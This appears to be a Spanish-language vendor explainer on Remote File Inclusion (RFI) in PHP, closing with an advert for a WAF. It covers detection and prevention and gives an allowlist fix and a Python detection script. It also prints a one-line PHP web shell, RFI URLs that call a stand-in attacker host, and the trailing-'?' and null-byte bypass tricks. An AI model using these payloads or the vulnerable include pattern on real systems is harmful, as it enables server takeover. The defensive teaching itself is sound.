Inclusión de Archivos Remotos (RFI)
La Inclusión de Archivos Remotos (RFI) es una vulnerabilidad que permite a un atacante incluir y ejecutar un archivo alojado en un servidor remoto a través del mecanismo de inclusión de archivos de la aplicación objetivo. Al inyectar una URL que apunta a código malicioso controlado por el atacante, este logra la ejecución remota de código inmediata en el servidor objetivo sin necesidad de subir archivos ni explotar vulnerabilidades adicionales.
Cómo Funciona Inclusión de Archivos Remotos (RFI)
RFI explota las mismas funciones de inclusión de archivos que LFI (include(), require() de PHP, etc.) pero en lugar de navegar a archivos locales, el atacante proporciona una URL a un archivo alojado en su propio servidor. Cuando la aplicación procesa la inclusión, obtiene el archivo remoto y ejecuta su contenido como código del lado del servidor. Esto hace de RFI una de las vulnerabilidades web más peligrosas porque proporciona ejecución remota de código directa e inmediata con mínima complejidad. El prerequisito principal en PHP es allow_url_include=On, que está deshabilitado por defecto desde PHP 5.2 pero aún se encuentra habilitado en aplicaciones heredadas, servidores mal configurados y ciertos plugins de CMS que lo requieren.
Identificar parámetros de inclusión de archivos
El atacante localiza parámetros que controlan la inclusión de archivos. Patrones comunes incluyen: ?page=about, ?template=header, ?module=users, ?lang=en, ?theme=default. La prueba se realiza inyectando una URL a un servidor controlado por el atacante: ?page=http://atacante.com/test.txt. Si el servidor obtiene el archivo remoto, la vulnerabilidad queda confirmada. Las diferencias en la respuesta (contenido del archivo remoto apareciendo en la respuesta, o logs de conexión en el servidor del atacante) indican una inclusión remota exitosa.
Preparar la carga maliciosa
El atacante aloja un archivo en su servidor conteniendo código malicioso que coincide con el lenguaje del lado del servidor del objetivo. Para objetivos PHP: <?php system($_GET['cmd']); ?> — una web shell simple que ejecuta cualquier comando pasado a través del parámetro cmd. Cargas más sofisticadas incluyen web shells con funcionalidad completa (c99, WSO), scripts de shell reversa, o código que instala backdoors persistentes. El archivo de carga se aloja en un servidor que el atacante controla, frecuentemente con una extensión inocua (.txt, .jpg) para evadir filtrado básico de URLs.
Activar la inclusión remota
El atacante inyecta la URL remota en el parámetro vulnerable: ?page=http://atacante.com/shell.txt. El servidor objetivo obtiene el archivo remoto vía HTTP/HTTPS y pasa su contenido a la función include(). Si la aplicación agrega una extensión (.php), el atacante usa un truco con la cadena de consulta: ?page=http://atacante.com/shell.txt? — el ? final causa que el .php agregado se convierta en un parámetro de consulta en la URL remota, que es ignorado. Alternativamente, un byte nulo (%00) funciona en versiones antiguas de PHP.
Ejecutar comandos en el servidor objetivo
Una vez que el código remoto es incluido y ejecutado, el atacante tiene ejecución de código completa en el servidor objetivo. Puede ejecutar comandos del sistema (whoami, ls, cat /etc/passwd), acceder a bases de datos usando las credenciales almacenadas de la aplicación, leer y modificar cualquier archivo accesible al proceso del servidor web, instalar backdoors persistentes, establecer conexiones de shell reversa para acceso interactivo, y pivotar a recursos de red internos.
Establecer acceso persistente
El atacante va más allá del punto de entrada RFI para establecer persistencia: escribiendo web shells PHP en la raíz del documento, modificando .htaccess para funcionalidad oculta, creando trabajos cron para conexiones de callback, agregando claves SSH para acceso directo al servidor, comprometiendo la base de datos de la aplicación para inyectar cuentas de usuario backdoor, o desplegando rootkits. Esto asegura el acceso continuado incluso si la vulnerabilidad RFI es parcheada.
Ejemplos Reales
Vulnerabilidades RFI en phpMyAdmin
Múltiples vulnerabilidades RFI en phpMyAdmin, la herramienta de administración MySQL más popular, permitían a atacantes no autenticados ejecutar código arbitrario en servidores de bases de datos. Dado que las instalaciones de phpMyAdmin tienen acceso directo a la base de datos y frecuentemente se despliegan en el mismo servidor que la base de datos, la explotación exitosa otorgaba a los atacantes control completo sobre el contenido de la base de datos y el servidor en sí. Millones de entornos de hosting web se vieron afectados.
Epidemia de RFI en plugins de WordPress
Una ola de ataques RFI apuntó a plugins vulnerables de WordPress incluyendo RevSlider, MailPoet y Gravity Forms. La vulnerabilidad de RevSlider por sí sola afectó a más de 100,000 sitios WordPress. Los atacantes usaron escáneres automatizados para encontrar instalaciones vulnerables e inyectar backdoors a través de RFI, creando una botnet masiva de sitios WordPress comprometidos usados para distribución de spam, alojamiento de malware y ataques DDoS.
Drupalgeddon 2 — RCE en Drupal CMS
Aunque técnicamente es una inyección de código más que un RFI clásico, Drupalgeddon 2 (CVE-2018-7600) explotó el pipeline de renderizado de Drupal para lograr ejecución remota de código con un impacto similar al RFI. La vulnerabilidad afectó a un estimado de un millón de sitios Drupal, y la explotación comenzó horas después de la divulgación. Los atacantes desplegaron mineros de criptomonedas, web shells y ransomware. El incidente destacó cómo las vulnerabilidades de inclusión/ejecución en plataformas CMS populares pueden tener un impacto a escala de internet.
Impacto y Evaluación de Riesgo
La Inclusión de Archivos Remotos está entre las vulnerabilidades web más severas porque proporciona ejecución remota de código inmediata y directa con mínima complejidad de explotación. El atacante no necesita subir archivos, encadenar vulnerabilidades ni realizar inyección compleja — simplemente apunta a la aplicación hacia su archivo malicioso. El impacto es equivalente al compromiso total del servidor: el atacante puede ejecutar comandos arbitrarios, acceder a todos los datos del servidor, modificar o eliminar archivos, instalar backdoors persistentes, pivotar a redes internas y usar el servidor comprometido como infraestructura para ataques adicionales. RFI ha sido usado para construir botnets de millones de servidores web comprometidos, desplegar ransomware a través de entornos de hosting y establecer puntos de apoyo persistentes en redes empresariales. La severidad se magnifica porque las aplicaciones vulnerables frecuentemente tienen credenciales de base de datos, claves API y acceso a servicios internos que el atacante puede aprovechar para movimiento lateral.
Cómo Detectar Inclusión de Archivos Remotos (RFI)
Monitorear parámetros de solicitudes en busca de URLs apuntando a dominios externos: buscar http://, https://, ftp:// y URLs relativas al protocolo (//) en parámetros que normalmente se usan para selección de páginas o carga de plantillas. Las reglas del WAF deben detectar patrones de URL en parámetros de inclusión de archivos, incluyendo variantes codificadas (%68%74%74%70 para 'http'). Monitorear conexiones salientes desde el servidor web — un servidor web obteniendo contenido de URLs externas desconocidas es un indicador fuerte de explotación RFI. Analizar logs del servidor en busca de inclusión de recursos remotos sospechosos. Desplegar registro a nivel de aplicación que registre todas las operaciones de include/require y marque cualquiera que resuelva a URLs en lugar de rutas locales. El monitoreo a nivel de red debe alertar sobre procesos del servidor web realizando solicitudes HTTP salientes a destinos desconocidos, ya que este es un comportamiento atípico para servidores que solo deberían responder a solicitudes entrantes.
Cómo Prevenir Inclusión de Archivos Remotos (RFI)
Deshabilitar allow_url_include en la configuración de PHP (php.ini) — esta es la prevención más efectiva para RFI basado en PHP y está deshabilitada por defecto en versiones modernas de PHP. Deshabilitar allow_url_fopen si el acceso a URLs remotas no es necesario para la aplicación. Implementar validación estricta de entrada usando una lista de permitidos de nombres de página/plantilla autorizados mapeados a archivos locales mediante una tabla de búsqueda — nunca usar la entrada del usuario como parte de una ruta de archivo o URL. Si la inclusión dinámica de archivos es necesaria, validar que la ruta resuelta sea un archivo local dentro del directorio esperado. Desplegar Content Security Policy y filtrado de salida a nivel de red para restringir la capacidad del servidor web de obtener recursos externos. Usar un WAF con reglas específicas de RFI que detecten inyección de URLs en parámetros. Mantener todas las plataformas CMS, plugins y frameworks actualizados — las vulnerabilidades RFI en plugins populares de CMS están entre las más activamente explotadas en internet. En entornos contenedorizados, restringir el acceso de red saliente desde los contenedores de aplicación a solo los destinos explícitamente requeridos.
Ejemplos de Código
<?php
// VULNERABLE: User input directly used in include()
$page = $_GET['page'];
include($page . '.php');
// Normal use: ?page=home → includes home.php
// RFI attack: ?page=http://attacker.com/shell.txt?
// The trailing '?' makes '.php' a query parameter, ignored by the remote server
// The remote file contains: <?php system($_GET['cmd']); ?>
// Now the attacker can execute: ?page=http://attacker.com/shell.txt?&cmd=whoami
// Another vulnerable pattern:
$template = $_GET['template'];
include("templates/" . $template);
// RFI: ?template=http://attacker.com/shell.php
?>
<?php
// php.ini hardening (set these directives):
// allow_url_include = Off (blocks RFI entirely)
// allow_url_fopen = Off (blocks remote URL file operations)
// open_basedir = /var/www/ (restricts file access)
// SECURE: Allowlist-based page loading
$page_map = [
'home' => 'pages/home.php',
'about' => 'pages/about.php',
'contact' => 'pages/contact.php',
'products' => 'pages/products.php',
'pricing' => 'pages/pricing.php',
];
$requested = $_GET['page'] ?? 'home';
// Only alphanumeric input allowed
if (!preg_match('/^[a-z0-9_-]+$/i', $requested)) {
http_response_code(400);
die('Invalid page parameter');
}
// Strict allowlist lookup
if (!isset($page_map[$requested])) {
http_response_code(404);
include('pages/404.php');
exit;
}
// Include only from the pre-defined map
include($page_map[$requested]);
?>
import re
import urllib.parse
RFI_PATTERNS = [
# Direct URL protocols
r'https?:\/\/',
r'ftp:\/\/',
r'ftps:\/\/',
# Protocol-relative URLs
r'^\/\/',
# Encoded protocols
r'%68%74%74%70', # http
r'%48%54%54%50', # HTTP
r'%66%74%70', # ftp
# Data URI (potential code execution)
r'data:\/\/',
r'data:text\/plain',
r'data:text\/html',
# PHP expect wrapper (command execution)
r'expect:\/\/',
# IP-based URLs (bypass domain filtering)
r'https?:\/\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',
r'https?:\/\/0x[0-9a-fA-F]+', # Hex IP
r'https?:\/\/\d{8,10}', # Decimal IP
]
def detect_rfi(params, file_params=None):
"""Detect RFI attempts in request parameters.
Args:
params: dict of request parameters
file_params: optional list of parameter names known to handle files
(e.g., ['page', 'template', 'module', 'lang'])
"""
# Check all params, or only file-related ones
check_params = file_params or params.keys()
compiled = [re.compile(p, re.IGNORECASE) for p in RFI_PATTERNS]
for param_name in check_params:
if param_name not in params:
continue
raw_value = params[param_name]
# Decode multiple levels of URL encoding
decoded = raw_value
for _ in range(3): # Up to triple encoding
decoded = urllib.parse.unquote(decoded)
for pattern in compiled:
if pattern.search(decoded):
return {
'detected': True,
'type': 'rfi',
'parameter': param_name,
'raw_value': raw_value,
'decoded_value': decoded,
'matched_pattern': pattern.pattern
}
return {'detected': False}
PowerWAF bloquea automáticamente Inclusión de Archivos Remotos (RFI) antes de que llegue a tu servidor.
Implementa en minutos. Sin cambios de código. Plan gratuito disponible.
Los cupos del plan gratuito son limitados